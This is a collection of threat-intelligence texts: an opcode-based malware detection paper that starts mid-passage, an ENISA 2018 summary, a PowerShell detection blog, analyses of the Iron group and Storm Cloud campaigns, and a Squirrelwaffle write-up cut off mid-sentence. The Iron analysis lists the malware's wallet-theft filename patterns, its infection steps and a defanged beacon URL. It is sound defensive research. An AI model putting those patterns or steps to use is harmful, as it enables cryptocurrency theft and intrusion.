way to avoid this phenomenon and to give each opcode the relevance that it really has. In this way, we have collected malware from the VxHeavens website, forming a malware dataset of 13,189 malware executables. This dataset contains only PE executable files and is made up of different kinds of malicious software (e.g., computer viruses, Trojan horses, spyware, etc.). For the benign software dataset, we have collected 13,000 executables from our computers. This benign dataset includes, for instance, word processors, drawing tools, Windows games, Internet browsers, PDF viewers, and so on. We accomplish the following steps for computing the relevance of each opcode. First, we disassemble the executables. In this step, we have used The NewBasic Assembler as the main tool for obtaining the assembly files. Second, using the generated assembly files, we have built an opcode profile file. Specifically, this file contains a list with the operational code and the un-normalized frequency within both datasets (i.e., benign software dataset and malicious software dataset). Finally, we compute the relevance of each opcode based on the frequency with which it appears in both datasets. To this extent, we use Mutual Information. Mutual information is a measure that indicates how statistically dependent two variables are. In our particular case, we define the two variables as each opcode frequency and whether the instance is malware. In this way, X is the opcode frequency and Y is the class of the file (i.e., malware or benign software). Furthermore, once we computed the mutual information between each opcode and the executable class (malware or benign software) and sorted them, we created an opcode relevance file. Thereby, this list of opcode relevance can help us to achieve a more accurate detection of malware variations since we are able to weigh the similarity function using these calculated opcode relevance and reducing the noise that irrelevant opcodes can produce. ## 3 Malware Detection Method In order to detect both malware variants, we extract the opcode sequences and their frequency of appearance. More accurately, we define a program ρ as a sequence of instructions I where ρ = (I1, I2, ..., In−1, In). An instruction is composed of an operational code (opcode) and a parameter or list of parameters. In this way, we assume that a program is made up of opcodes. These opcodes can gather into several blocks that we call opcode sequences. More accurately, we assume a program ρ as a set of ordered opcodes o, ρ = (o1, o2, o3, o4, ..., on−1, on), where n is the number of instructions I of the program ρ. A subgroup of opcodes is defined as an opcode sequence os where os ⊆ ρ, and it is made up of opcodes o, os = (o1, o2, o3, ..., om−1, om), where m is the length of the sequence of opcodes os. First of all, we choose the length of opcode sequences. Afterwards, we compute the frequency of appearance of each opcode sequence. Specifically, we use term frequency, tfi,j = ni,j / ∑ knk,j, that is a weight widely used in information retrieval. More accurately, ni,j is the number of times the term ti,j (in our case opcode sequence) appears in a document d, and ∑ knk,j is the total number of terms in the document d (in our case the total number of possible opcode sequences). Further, we compute this measure for every possible opcode sequence of a fixed length n, acquiring by doing so, a vector made up of frequencies of opcode sequences S = (o1, o2, o3, ..., on−1, on). We weigh the frequency of appearance of this opcode sequence using the weights described in section 2. To this extent, we define weighted term frequency (wtf) as the result of weighting the relevance of each opcode when calculating the term frequency. Specifically, we compute it as the result of multiplying term frequency by the calculated weight of every opcode in the sequence. In this way, weight(o) is the calculated weight for the opcode o and tfi,j is the term frequency measure for the given opcode sequence, wtfi,j = tfi,j · ∏ weight(o) for o ∈ S. Once we have calculated the weighted term frequency, we have the vector of weighted opcode sequence frequencies. We have focused on detecting known malware variants in this method. In this way, what we want to provide is a similarity measure between two files. Once we extract the opcode sequences that will act as features, we have a proper representation of the files as two input vectors of opcode sequences. Hereafter, we can calculate a similarity measure between those two vectors. In this way, we use cosine similarity, sim(−→v, −→u) = cos(θ) = −→v · −→u / ||−→v|| · ||−→u||. Therefore, we think that this measure will give a high result when two versions of the same malware instance are compared. ## 4 Experimental Results For the following experiment, we have used two different datasets for testing the system: a malware dataset and a benign software one. First, we downloaded a big malware collection from VxHeavens website conformed by different malicious code such as Trojan horses, viruses, or worms. Specifically, we have used the next malware families: Agobot, Bifrose, Kelvir, Netsky, Opanki, and Protoride. We have extracted the opcode sequences of a fixed length (n) with n = 1 and n = 2 for each malware and some of its variants. Moreover, we have followed the same procedure for the benign software dataset. Hereafter, we have computed the cosine similarity between each malware and its set of variants. Further, we have computed the similarity of the malware instance with the whole benign software dataset. Specifically, we have performed this process for every malware executable file within the dataset. For each malware family, we have randomly chosen one of its variants as the known instance and we have computed the cosine similarity between this variant and the other variants of that specific malware family. Moreover, we have performed the same procedure with a set of benign software in order to test the appearance of false positives. For an opcode sequence length of 1, nearly every malware variant achieved a similarity degree between 90% and 100%. Still, the results obtained when comparing with the benign dataset show that the similarity degree is too high, thus, this opcode sequence length seems to be not appropriate. For an opcode sequence length of 2, the obtained results in terms of malware variant detection show that the similarity degrees are more distributed in frequencies; however, the majority of the variants achieved relatively high results. In addition, the results for the benign dataset show that the results are better for this opcode sequence length, being more frequent the low similarity ratios. Summarizing, for the obtained results in terms of similarity degree for malware variant detection, the most frequent similarity degree is in the 90-100% interval. Moreover, the similarity degree frequency decreases and so the frequency does. Therefore, this method will be able to detect reliably a high number of malware variants after selecting the appropriate threshold of similarity ratio for declaring an executable as malware variant. Nevertheless, some of the executables were packed and, thereby, there are several malware variants that when computing the similarity degree did not achieve a high similarity degree. Still, the similarity degrees between the two kinds of sets (i.e., malware variants and benign software) are not different enough. Therefore, we decided to perform another experiment where the different opcode sequence lengths are combined (n = 1 and n = 2). In this way, the malware variant similarity degrees remained quite high whilst the benign similarity degrees scrolled to lower results. ## 5 Related Work There has been a great concern regarding malware detection in the last years. Generally, we can classify malware detection in static or dynamic approaches. Static detectors obtain features for further analysis without executing the malware, while dynamic detectors execute malware in a contained environment. In this way, static analysis for malware detection can be focused on the binary executables or in source code like the method proposed in this paper. With regard to the binary analysis of the executables, there has been hectic activity around the use of machine-learning techniques over byte sequences. The first attempt of using non-overlapping sequence of bytes of a given length n as features to train a machine-learning classifier was proposed by Schulz et al. In that approach, the authors proposed a method using the printable ASCII strings of the binary, tri-grams of bytes, the list of imported dynamically linked libraries (DLL), the list of DLL functions imported, and the number of functions for each DLL. They applied multiple learning algorithms showing that multi-Naïve Bayes performed the best. Kolter et al. improved the results obtained by Schulz et al. using n-grams (overlapping byte sequences) instead of non-overlapping sequences. Their method used several algorithms and the best results were achieved by a boosted decision tree. In a similar vein, a lot of work has been made over n-gram distributions of byte sequences and machine learning. Still, most of the features they used for the training of the classifiers can be changed easily by simply changing the compiler since they focus on byte distributions. Moreover, several approaches have been based on Control Flow Graph Analysis. In this way, it is worth mentioning the work of Christodescu and Jha that proposed a method based on Control Flow Analysis to handle obfuscations in malicious software. Lately, Christodescu et al. improved the previous work including semantic templates of malicious specifications. Nevertheless, the time resources they consume render them not already full prepared to be adopted for antivirus vendors, although Control Flow Analysis techniques have proved to obtain some very valuable information of malicious behaviors. Dynamic analysis for malware detection, as aforementioned, runs a program in a contained environment and collects information about it. Despite they are limited by one execution flow, they can overcome the main issue of static analysis: being sure that the code that will be executed is the one that is being analyzed. Therefore, these methods do not have to face obfuscations or in-memory mutation. In this way, the safe environment can be based on a virtual machine or based on DLL Injection and API Hooking. ## 6 Conclusions and Future Work Malware detection has risen to become a topic of research and concern due to its increasing growth in past years. The classic signature methods that antivirus vendors have been using are no longer effective since the increasing number of new malware renders them useless. Therefore, this technique has to be complemented with more complex methods that provide detection of malware variants, in an effort to detect more malware instances with a single signature. In this paper, we proposed a method detecting malware variants that relied on opcode sequences in order to construct a vector representation of the executables. In this way, based upon some length sequences, the system was able to detect the malicious behavior of malware variants. Specifically, experiments have shown the following abilities of the system: first, the system was able to identify malware variants; second, it was able to distinguish benign executables. The future development of this malware detection system is oriented in three main directions. First, we will focus on facing packed executables using a hybrid dynamic-static approach. Second, we will expand the used features using even longer sequences and more information like system calls. Finally, we will perform experiments with a larger malware dataset.
# ENISA Threat Landscape Report 2018 ## Executive Summary 2018 was a year that brought significant changes in the cyberthreat landscape. These changes stemmed from discrete developments in the motives and tactics of the most important threat agent groups, namely cyber-criminals and state-sponsored actors. Monetization motives contributed to the emergence of crypto-miners in the top 15 threats. State-sponsored activities indicated a shift towards reducing the use of complex malicious software and infrastructures in favor of low-profile social engineering attacks. These developments are the subject of this threat landscape report. Defenders also made advancements. The emergence of active defense and threat agent profiling led to more efficient identification of attack practices and malicious artifacts, resulting in improved defense techniques and attribution rates. Initial successes through the combination of cyberthreat intelligence (CTI) and traditional intelligence have been achieved, highlighting the need to integrate CTI with related disciplines to enhance assessment quality and attribution. Additionally, defenders have increased training levels to address skill shortages in CTI, reflecting stakeholders' interest in building capabilities. Recent political activities have underscored the emergence of novel developments in the perceived role of cyberspace for society and national security. Cyber-diplomacy, cyber-defense, and cyber-war regulation have dominated headlines. These developments are expected to introduce new requirements and use cases for CTI, leading to considerable revisions in existing structures and processes in cyberspace governance. Consequently, threat actors are likely to adapt their activities in response to these changes, impacting the cyberthreat landscape in the years to come. ### Main Trends in 2018’s Cyberthreat Landscape - Mail and phishing messages have become the primary malware infection vector. - Exploit Kits have lost their importance in the cyberthreat landscape. - Cryptominers have emerged as a significant monetization vector for cyber-criminals. - State-sponsored agents increasingly target banks using attack vectors utilized in cyber-crime. - Skill and capability building are the main focus of defenders, with public organizations struggling to retain staff due to competition with industry for cybersecurity talent. - The technical orientation of most CTI produced is seen as an obstacle to raising awareness at the security and executive management levels. - CTI must respond to increasingly automated attacks through novel approaches to utilizing automated tools and skills. - The emergence of IoT environments remains a concern due to inadequate protection mechanisms in low-end IoT devices and services, necessitating the development of generic IoT protection architectures and good practices. - The absence of CTI solutions for low-capability organizations and end-users needs to be addressed by vendors and governments. These trends are detailed in the ENISA Threat Landscape 2018 (ETL 2018). Identified open issues leverage these trends and propose actions in policy, business, and research/education areas. They serve as recommendations for future activities of ENISA and its stakeholders. ### Policy Conclusions - The EU must develop capabilities (human and technical) to address the needs for CTI knowledge management. Member States should introduce measures to increase independence from external CTI sources and enhance quality by adding a European context. - As CTI is perceived as a public good, capabilities are required to offer "baseline CTI" to all interested organizations. EU governments and public administrations should share "baseline CTI" covering sectorial and low-maturity needs. - Regulatory barriers to collecting CTI exist and should be removed. Coordinated efforts among Member States are required for the collection and analysis of CTI, crucial for implementing proper defense strategies. ### Business Conclusions - Businesses must work towards making CTI available to a broad range of stakeholders, focusing on those lacking technical knowledge. The security software industry should research and develop solutions using automation and knowledge engineering to help end-users mitigate low-end automated cyberthreats with minimal human intervention. - Businesses need to consider emerging supply chain threats and risks, introducing qualitative measures into production processes, performing end-to-end security assessments, and adhering to certification schemes. - Businesses should bridge the gap in security knowledge among operated services and end-users, as the consumption of CTI knowledge is essential for achieving this goal. ### Technical/Research/Educational Conclusions - The ingestion of CTI knowledge should include accurate information on incidents and insights from related disciplines. CTI vendors and researchers must find ways to expand the scope of CTI while reducing manual activities. - CTI knowledge management needs standardization efforts, particularly in developing standard vocabularies, attack repositories, automated information collection methods, and knowledge management processes. - Research should focus on understanding attack practices, malware evolution, malicious infrastructure evolution, and threat agent profiling to reduce exposure to cyberthreats and advance CTI practices. - More training offerings must be developed to meet current market needs in CTI training. ### Cyberthreat Intelligence Maturity Model The interest in CTI has increased over the last five years due to the need for a better understanding of threats, adversary behavior, tools, and techniques in anticipation of cyberattacks. Organizations are adopting automated monitoring and response solutions, prompting a shift from reactive to proactive defense strategies. Implementing a CTI Program is essential for organizations to achieve these objectives. The objectives of a CTI Program include promoting resilience to cyber security threats, mitigating risks, and fostering a culture of awareness over cyber security threats. By implementing such a program, organizations can proactively identify threats, increase efficiency, improve communication of threats, and enhance dissemination capabilities. ### CTI Program Implementation Key elements required for implementing a CTI Program include stakeholder management, program scope, resource management, and evaluation processes. The maturity model evaluates the state of play of the Program within an organization, assessing capabilities and outcomes across four levels: Initial, Managed, Repeatable, and Optimized. The evaluation criteria for the maturity model encompass stakeholder management, scope management, requirement management, resource management, and program management, among others. Each capability requires specific activities, which can be supported by automated solutions or manual procedures, depending on the organization's resources. ### Conclusion The ENISA Threat Landscape Report 2018 provides a comprehensive overview of the evolving cyberthreat landscape, highlighting key trends, challenges, and recommendations for stakeholders across policy, business, and technical domains. The insights and conclusions drawn from this report aim to enhance the collective understanding and response to cyber threats in the European context.
# Machine Learning from Idea to Reality: A PowerShell Case Study **Author:** Joost Jansen **Date:** September 2, 2020 This blog provides a ‘look behind the scenes’ at the RIFT Data Science team and describes the process of moving from the need or an idea for research towards models that can be used in practice. More specifically, how known and unknown PowerShell threats can be detected using Windows event log 4104. In this case study, it is shown how research into detecting offensive (with the term ‘offensive’ used in the context of ‘offensive security’) and obfuscated PowerShell scripts led to models that can be used in a real-time environment. ## About the Research and Intelligence Fusion Team (RIFT) RIFT leverages our strategic analysis, data science, and threat hunting capabilities to create actionable threat intelligence, ranging from IOCs and detection capabilities to strategic reports on tomorrow’s threat landscape. Cyber security is an arms race where both attackers and defenders continually update and improve their tools and ways of working. To ensure that our managed services remain effective against the latest threats, NCC Group operates a Global Fusion Center with Fox-IT at its core. This multidisciplinary team converts our leading cyber threat intelligence into powerful detection strategies. ## Introduction to PowerShell PowerShell plays a huge role in a lot of incidents that are analyzed by Fox-IT. During the compromise of a Windows environment, almost all actors use PowerShell in at least one part of their attack, as illustrated by the vast list of actors linked to this MITRE technique. PowerShell code is most frequently used for reconnaissance, lateral movement, and/or C2 traffic. It lends itself to these purposes, as the PowerShell cmdlets are well-integrated with the Windows operating system and it is installed along with Windows in most recent versions. The strength of PowerShell can be illustrated with the following example. Consider the privilege-escalation enumeration script PowerUp.ps1. Although the script itself consists of 4010 lines, it can simply be downloaded and invoked using: ```powershell <command> ``` In this case, the script won’t even touch the disk as it’s executed in memory. Since threat actors are aware that there might be detection capabilities in place, they often encode or obfuscate their code. For example, the command executed above can also be run base64-encoded: ```powershell <base64-encoded command> ``` Using tools like Invoke-Obfuscation, the command and the script itself can be obfuscated even further. These well-known offensive PowerShell scripts can already be detected by using static signatures, but small modifications on the right place will circumvent the detection. Moreover, these signatures might not detect new versions of the known offensive scripts, let alone detect new techniques. Therefore, there was an urge to create models to detect offensive PowerShell scripts regardless of their obfuscation level. ## Don’t Reinvent the Wheel As we don’t want to re-invent the wheel, a literature study revealed fellow security companies had already performed research on this subject, which was a great starting point for this research. As we prefer easily explainable classification models over complex ones (e.g. the neural networks used in the previous research) and obviously faster models over slower ones, not all parts of the research were applicable. However, large parts of the data gathering & pre-processing phase were reused while the actual features and classification method were changed. Since detecting offensive & obfuscated PowerShell scripts are separate problems, they require separate training data. For the offensive training data, PowerShell scripts embedded in “known bad” GitHub repositories were scraped. For the obfuscated training data, parts of the Revoke-Obfuscation training data set were used. An equal amount of legitimate (‘known not-obfuscated’ and “known not-offensive”) scripts were added to the training sets, resulting in the training sets listed. To keep things simple and explainable, the decision was made to base the initial model on token (offensive) and character (obfuscated) percentages. This did require some preprocessing of the scripts (e.g. removing the comments), calculating the features, and in the case of the offensive scripts, tokenization of the PowerShell scripts. The percentages were then used as features for a supervised classification model to train, along with some additional features based on known bad tokens (e.g. base64, iex, and convert) and several regular expression patterns. Afterwards, all features and labels were fed to our SupervisedClassification helper class, which is used in many of our projects to standardize the process of (synthetic) sampling of training data, DataFrame transformations, model selection, and several other tasks. For both models, the SupervisedClassification class selected the Random Forest algorithm for the classifying task. ## Usage in Practice Since these models were exported, they can be used for multiple purposes by loading the models in Python, feeding PowerShell scripts to it, and observing the predicted outcomes. In this example, Splunk was chosen as the platform to use this model because it is part of our Managed Detection & Response service and because of Splunk’s ability to easily run custom Python commands. Windows is able to log blocks of PowerShell code as it is executed, called ‘PowerShell Script Block Logging’ which can be enabled via GPO or manual registry changes. The logs (identified by Windows Event ID 4101) can then be piped to a Splunk custom command Reconstruct4101Logging, which will process the script blocks back into the format the model was trained on. Afterwards, the reconstructed script is piped into the ObfuscatedPowershell custom command, which will load the pre-trained model, predict the probabilities for the scripts being obfuscated, and return these predictions back to Splunk. ## Performance Back in Splunk, some additional tuning can be performed (such as setting the threshold for predicting the positive class to 0.7) to reduce the amount of false positives. Using cross-validation, a precision score of 0.94 was achieved with an F1 score of 0.9 for the obfuscated PowerShell model. The performance of the offensive model is not yet as good as the obfuscated model, but since there are many parameters to tune for this model, we expect this to improve in the foreseeable future. Despite the fact that other studies achieve even higher scores, we believe that this relatively simple and easy to understand model is a great first step, for which we can iteratively improve the scores over time. To finish off, these models are included in our Splunk Managed Detection Engine to check for offensive & obfuscated PowerShell scripts on a regular interval. ## Conclusion and Recommendation PowerShell, despite being a legitimate and very useful tool, is frequently misused by threat actors for various malicious purposes. Using static signatures, well-known bad scripts can be detected, but small modifications may cause these signatures to be circumvented. To detect modified and/or new PowerShell scripts and techniques, more and better generic models should be researched and eventually be deployed in real-time log monitoring environments. PowerShell logging (including but not limited to the Windows Event Logs with ID 4104) can be used as input for these models. The recommendation is therefore to enable the PowerShell logging in your organization, at least at the most important endpoints or servers. This recommendation remains very relevant to this day.
# Cybersecurity DNA ## Iron Cybercrime Group Under The Scope **Omri Ben Bassat** 29.05.18 | 11:53 am In April 2018, while monitoring public data feeds, we noticed an interesting and previously unknown backdoor using HackingTeam’s leaked RCS source code. We discovered that this backdoor was developed by the Iron cybercrime group, the same group behind the Iron ransomware (rip-off Maktub ransomware recently discovered by Bart Parys), which we believe has been active for the past 18 months. During the past year and a half, the Iron group has developed multiple types of malware (backdoors, crypto-miners, and ransomware) for Windows, Linux, and Android platforms. They have used their malware to successfully infect, at least, a few thousand victims. In this technical blog post, we are going to take a look at the malware samples found during the research. ### Technical Analysis: **Installer:** This installer sample (and in general most of the samples found) is protected with VMProtect then compressed using UPX. **Installation process:** 1. Check if the binary is executed on a VM, if so – ExitProcess 2. Drop & Install malicious chrome extension `%localappdata%\Temp\chrome.crx` 3. Extract malicious chrome extension to `%localappdata%\Temp\chrome` & create a scheduled task to execute `%localappdata%\Temp\chrome\sec.vbs`. 4. Create mutex using the CPU’s version to make sure there’s no existing running instance of itself. 5. Drop backdoor dll to `%localappdata%\Temp\<random>.dat`. 6. Check OS version: - If Version == Windows XP then just invoke ‘Launch’ export of Iron Backdoor for a one-time non-persistent execution. - If Version > Windows XP - Invoke ‘Launch’ export - Check if Qhioo360 – only if not proceed, Install malicious certificate used to sign Iron Backdoor binary as root CA. Then create a service called ‘helpsvc’ pointing back to Iron Backdoor dll. ### Using the leaked HackingTeam source code: Once we analyzed the backdoor sample, we immediately noticed it’s partially based on HackingTeam’s source code for their Remote Control System hacking tool, which leaked about 3 years ago. Further analysis showed that the Iron cybercrime group used two main functions from HackingTeam’s source in both IronStealer and Iron ransomware. 1. **Anti-VM:** Iron Backdoor uses a virtual machine detection code taken directly from HackingTeam’s “Soldier” implant leaked source code. This piece of code supports detecting Cuckoo Sandbox, VMWare product & Oracle’s VirtualBox. 2. **Dynamic Function Calls:** Iron Backdoor is also using the DynamicCall module from HackingTeam’s “core” library. This module is used to dynamically call external library function by obfuscating the function name, which makes static analysis of this malware more complex. In the following screenshot, you can see obfuscated “LFSOFM43/EMM” and “DsfbufGjmfNbqqjohB”, which represents “kernel32.dll” and “CreateFileMappingA” API. ### Malicious Chrome extension: A patched version of the popular Adblock Plus chrome extension is used to inject both the in-browser crypto-mining module (based on CryptoNoter) and the in-browser payment hijacking module. **patched include.preload.js injects two malicious scripts from the attacker’s Pastebin account.** The malicious extension is not only loaded once the user opens the browser, but also constantly runs in the background, acting as a stealth host-based crypto-miner. The malware sets up a scheduled task that checks if chrome is already running every minute; if it isn’t, it will “silent-launch” it. ### Internet Explorer (deprecated): Iron Backdoor itself embeds adblockplusie – Adblock Plus for IE, which is modified in a similar way to the malicious chrome extension, injecting remote javascript. It seems that this functionality is no longer automatically used for some unknown reason. ### Persistence: Before installing itself as a Windows service, the malware checks for the presence of either 360 Safe Guard or 360 Internet Security by reading the following registry keys: - `.SYSTEM\CurrentControlSet\Services\zhudongfangyu.` - `.SYSTEM\CurrentControlSet\Services\360rp` If one of these products is installed, the malware will only run once without persistence. Otherwise, the malware will proceed to install a rogue, hardcoded root CA certificate on the victim’s workstation. This fake root CA supposedly signed the malware’s binaries, which will make them look legitimate. **Comic break:** The certificate is protected by the password ‘caonima123’, which means “f*ck your mom” in Mandarin. ### IronStealer (<RANDOM>.dat): Persistent backdoor, dropper, and cryptocurrency theft module. 1. **Load Cobalt Strike beacon:** The malware automatically decrypts hard-coded shellcode stage-1, which in turn loads Cobalt Strike beacon in-memory, using a reflective loader. - Beacon: hxxp://dazqc4f140wtl.cloudfront[.]net/ZZYO 2. **Drop & Execute payload:** The payload URL is fetched from a hardcoded Pastebin paste address. We observed two different payloads dropped by the malware: - **Xagent:** A variant of “JbossMiner Mining Worm” – a worm written in Python and compiled using PyInstaller for both Windows and Linux platforms. JbossMiner is using known database vulnerabilities to spread. “Xagent” is the original filename Xagent<VER>.exe whereas <VER> seems to be the version of the worm. The last version observed was version 6 (Xagent6.exe). - **Iron ransomware:** We recently saw a shift from dropping Xagent to dropping Iron ransomware. It seems that the wallet & payment portal addresses are identical to the ones that Bart observed. Requested ransom decreased from 0.2 BTC to 0.05 BTC, most likely due to the lack of payment they received. **Nobody paid so they decreased ransom to 0.05 BTC.** 3. **Stealing cryptocurrency from the victim’s workstation:** Iron backdoor would drop the latest voidtool Everything search utility and actually silent install it on the victim’s workstation using msiexec. After installation was completed, Iron Backdoor uses Everything in order to find files that are likely to contain cryptocurrency wallets, by filename patterns in both English and Chinese. **Full list of patterns extracted from sample:** - Wallet.dat - UTC– - Ethereum keystore filename - *bitcoin*.txt - *比特币*.txt - “Bitcoin” - *monero*.txt - *门罗币*.txt - “Monroe Coin” - *litecoin*.txt - *莱特币*.txt - “Litecoin” - *Ethereum*.txt - *以太币*.txt - “Ethereum” - *miner*.txt - *挖矿*.txt - “Mining” - *blockchain*.txt - *coinbase* 4. **Hijack ongoing payments in cryptocurrency:** IronStealer constantly monitors the user’s clipboard for Bitcoin, Monero & Ethereum wallet address regex patterns. Once matched, it will automatically replace it with the attacker’s wallet address so the victim would unknowingly transfer money to the attacker’s account. ### Pastebin Account: As part of the investigation, we also tried to figure out what additional information we may learn from the attacker’s Pastebin account. The account was probably created using the mail fineisgood123@gmail[.]com – the same email address used to register blockbitcoin[.]com (the attacker’s crypto-mining pool & malware host) and swb[.]one (Old server used to host malware & leaked files, replaced by u.cacheoffer[.]tk): 1. **Index.html:** HTML page referring to a fake Firefox download page. 2. **crystal_ext-min + angular:** JS inject using malicious Chrome extension. 3. **android:** This paste holds a command line for an unknown backdoored application to execute on infected Android devices. This command line invokes remote Metasploit stager (android.apk) and drops cpuminer 2.3.2 (minerd.txt) built for ARM processor. Considering the last update date (18/11/17) and the low number of views, we believe this paste is obsolete. 4. **androidminer:** Holds the cpuminer command line to execute for unknown malicious android applications; at the time of writing this post, this paste received nearly 2000 hits. Aikapool[.]com is a public mining pool and port 7915 is used for DogeCoin. The username (myapp2150) was used to register accounts in several forums and on Reddit. These accounts were used to advertise fake “blockchain exploit tool”, which infects the victim’s machine with Cobalt Strike, using a similar VBScript to the one found by Malwrologist (ps5.sct). **XAttacker:** Copy of XAttacker PHP remote file upload script. **miner:** Holds payload URL, as mentioned above (IronStealer). ### FAQ: **How many victims are there?** It is hard to define for sure, but to our knowledge, the total of the attacker’s pastes received around 14K views, ~11K for dropped payload URL and ~2k for the android miner paste. Based on that, we estimate that the group has successfully infected a few thousand victims. **Who is Iron group?** We suspect that the person or persons behind the group are Chinese, due in part to the following findings: - There were several leftover comments in the plugin in Chinese. - Root CA Certificate password (‘f*ck your mom123’ was in Mandarin) We also suspect most of the victims are located in China, because of the following findings: - Searches for wallet file names in Chinese on victims’ workstations. - Won’t install persistence if Qhioo360 (popular Chinese AV) is found. ### IOCS: - blockbitcoin[.]com - pool.blockbitcoin[.]com - ssl2.blockbitcoin[.]com - xmr.enjoytopic[.]tk - down.cacheoffer[.]tk - dzebppteh32lz.cloudfront[.]net - dazqc4f140wtl.cloudfront[.]net - androidapt.s3-accelerate.amazonaws[.]com - winapt.s3-accelerate.amazonaws[.]com - swb[.]one - bitcoinwallet8[.]com - blockchaln[.]info **By Omri Ben Bassat** Ex-officer in the IDF-CERT. Malware analyst and Reverse Engineer with vast experience in dealing with Nation-sponsored cyber attacks. | [email protected] **Tags:** backdoor, bitcoin, china, cryptominer, cybercrime, iron, malware, ransomware
# Storm Cloud Unleashed: Tibetan Focus of Highly Targeted Fake Flash Campaign **March 31, 2020** **by Volexity Threat Research** Beginning in May 2019, Volexity started tracking a new series of strategic web compromises that have been used in highly targeted attacks against Tibetan individuals and organizations by a Chinese advanced persistent threat (APT) actor it tracks as Storm Cloud. While this threat activity appears to have started in mid-2019, Storm Cloud has been observed targeting Tibetan organizations since at least 2018. The attacks were launched at a very limited subset of visitors to over two dozen different Tibetan websites that Storm Cloud had managed to compromise. Kaspersky has noted they uncovered similar targeted attacks dating back to mid-2019. Unlike strategic web compromises of the past, this attack activity did not rely on or use exploits. Instead, the attackers relied on enticing targeted users to install an "update to Adobe Flash" by way of a JavaScript overlay on top of the legitimate compromised websites. While there is no relation between the activities and those of OceanLotus, this type of attack is similar to how OceanLotus was observed launching targeted attacks. ## Delivery Overview For the attack to begin, an unsuspecting user must first visit one of the compromised sites that has been put into operation by Storm Cloud. These attacks involve adding a new piece of JavaScript to the infected sites with an innocuous looking name, for example “jquery-min.js”. The filename used varied between different compromised sites. This sample of code is obfuscated using a library called “sojson.v4” which is also used by legitimate developers to protect their intellectual property. This initial obfuscated code is recognizable due to its opening text. The purpose of this first script in the chain is to identify if the user in question should receive the second piece of JavaScript. The internal IP address is retrieved based on the well-documented WebRTC trick, while the external IP address is retrieved using api.ipify.org. This information is then sent to an attacker-owned server used solely for this purpose, which will respond with a success or fail. A helper script to de-obfuscate these scripts is provided in Appendix B. Success is denoted by a response of “t” from the server. If this response is given then a secondary piece of JavaScript is loaded. ## Convincing Users to Install the Payload The next sample of JavaScript uses sojson.v5, this time using the v5 encryption mechanism. Sojson.v5 RC4 encrypts strings using a unique key for each string. These strings can be decoded on a per-script basis in a programmatic way to understand the overall workflow of the code. Since this campaign does not use any exploits, the purpose of the second stage code is to convince users to install the malware by altering the web page to show a popup or otherwise manipulating the visited page to alert the user to update Adobe Flash Player. In order to create these popups, Storm Cloud installed SweetAlerts on each of the webservers they compromised. Since the first time Volexity observed this chain in May 2019, the code that creates this download dialogue has evolved from iteration to iteration. In the earliest versions, the attackers had a fairly basic way of displaying and showing the message. Over time, this code evolved to support multiple browsers, including mobile devices, with customized messages according to the browser used. Despite the support of mobile devices in the code, Volexity has only identified delivery of Windows payloads for this particular aspect of the campaign. For most of the campaign, the attackers used GitHub to host the malicious Flash installer. Specifically, Volexity has observed the following repositories used to host binaries: - github.com/AdobeFlash32/ (this repository has since been removed from GitHub) - github.com/AlexanderHilton/ It's unclear what the rationale for using GitHub was; however, for a user who isn’t familiar with GitHub, a quick search for “GitHub” may help convince them that the download is authentic. After the main GitHub account was in use, the attackers switched to hosting their payloads on various Dynamic DNS hosts. ## Payloads Over time, Volexity was able to observe a wide variety of payloads distributed using the mechanism described above, with the attackers frequently changing the malware they used. Below are some of the payloads seen from the live campaigns, and the frequency with which they have been observed: ### SIMPLE DOWNLOADERS - **Samples:** 7 - **First Seen:** 2019-05-05 - **Last Seen:** 2020-01-20 - **Example Hash:** b658a0b0b5cce77ce073d857498a474044657daec50c3c246f661f3790a28b13 On a number of occasions, the attackers employed simple downloaders compiled as NSIS scripts, written in GoLang or compiled with Py2Exe. The sole objective of these downloaders is to download and execute a further payload from a remote C2. ### PLUGDAT - **Samples:** 1 - **First Seen:** 2019-06-19 - **Last Seen:** 2019-06-19 - **Example Hash:** ec377ad3defd360c7c7f9c4f4d94188739bdb8ad82b2ea7d94725c68dc2838d9 This is a plugin-based backdoor written in C++. The malware performs an initial check to see if the infected machine is already infected. It connects to a pre-configured C2 to download a plugin which it expects to return an encoded PE file which is decoded by the malware. ### STITCH - **Samples:** 7 - **First Seen:** 2019-06-24 - **Last Seen:** 2019-11-06 - **Example Hash:** 2e8a34aa4e887ba413735d3ece7863921eaabdc5a494ff6354fb551f26dc561b Stitch is a Python-based malware which is available on GitHub. The attackers likely use this as a “throwaway” backdoor which they replace with something custom after identifying a victim of interest. ### GOSLU - **Samples:** 2 - **First Seen:** 2020-01-19 - **Last Seen:** 2020-01-19 - **Example Hash:** 6501f16cfda78112c02fd6cc467b65adc0ef1415977e9a90c3ae3ab34f30cc29 GOSLU is a malware family written in GoLang which uses Google Drive for command and control, and it supports a number of commands. The backdoor starts with an initialization routine that gets the OS version info and the MAC address. ### BRAINDAMAGE - **Samples:** 1 - **First Seen:** 2020-03-11 - **Last Seen:** 2020-03-11 - **Example Hash:** c0af38f02e845866ce14f28b894a866ba1d02b5faaef2b310eeb9b84b8b2846e BrainDamage is another Python-based malware family which is available on GitHub. It supports a wide range of functionality natively but is used as a throwaway backdoor. ## Possible Related APK Campaign While investigating related attack infrastructure, Volexity identified some files which indicate that some aspect of this campaign, or at least the same attackers, have supported for delivery and installation of malware on Android operating systems. Specifically, three files submitted to VirusTotal indicate this may be the case. ### Conclusion The Tibetan community, both within and outside of China, is under constant digital surveillance as they seek to gain an upper hand against those seeking the formation of an independent Tibet. This issue has been highlighted by CitizenLab on multiple occasions. The nature of this campaign may seem basic, but the resources to continuously update infrastructure, write new malware, and maintain these attacks across more than one platform should not be understated. It is a glimpse into the gap in resources between those seeking to identify and prevent these attacks, and those conducting them.
# Squirrelwaffle: New Loader Delivering Cobalt Strike Zscaler ThreatLabz has been following an emerging new malware loader known as Squirrelwaffle that is being used to deliver Cobalt Strike. In this blog, we will be analyzing the complete attack chain for this new malware family. This campaign has been running since mid-September 2021. The Squirrelwaffle loader is being delivered from the same infrastructure that was delivering the Qakbot banking trojan. ## Attack Chain ### Key Points - The campaign started with a malicious document file delivered via spam email campaigns with embedded URLs. - The spam campaign is using an email thread hijacking technique that was previously used for Emotet and Qakbot malware campaigns. - The malicious document contains a macro that drops and executes a VBS file in the %ProgramData% folder. - The VBS file downloads the Squirrelwaffle loader which in turn downloads another loader which further downloads Cobalt Strike. - Newly registered domains are used to host the loader payload. - The same infrastructure was used to deliver the Qakbot banking trojan. ## Malware Distribution Strategy Squirrelwaffle campaigns generally start via spam emails that attempt to convince victims to click an embedded URL using a technique known as email thread hijacking. Email thread hijacking leverages emails that have been stolen prior to the attack and later repurposed to dupe a victim into believing that an email 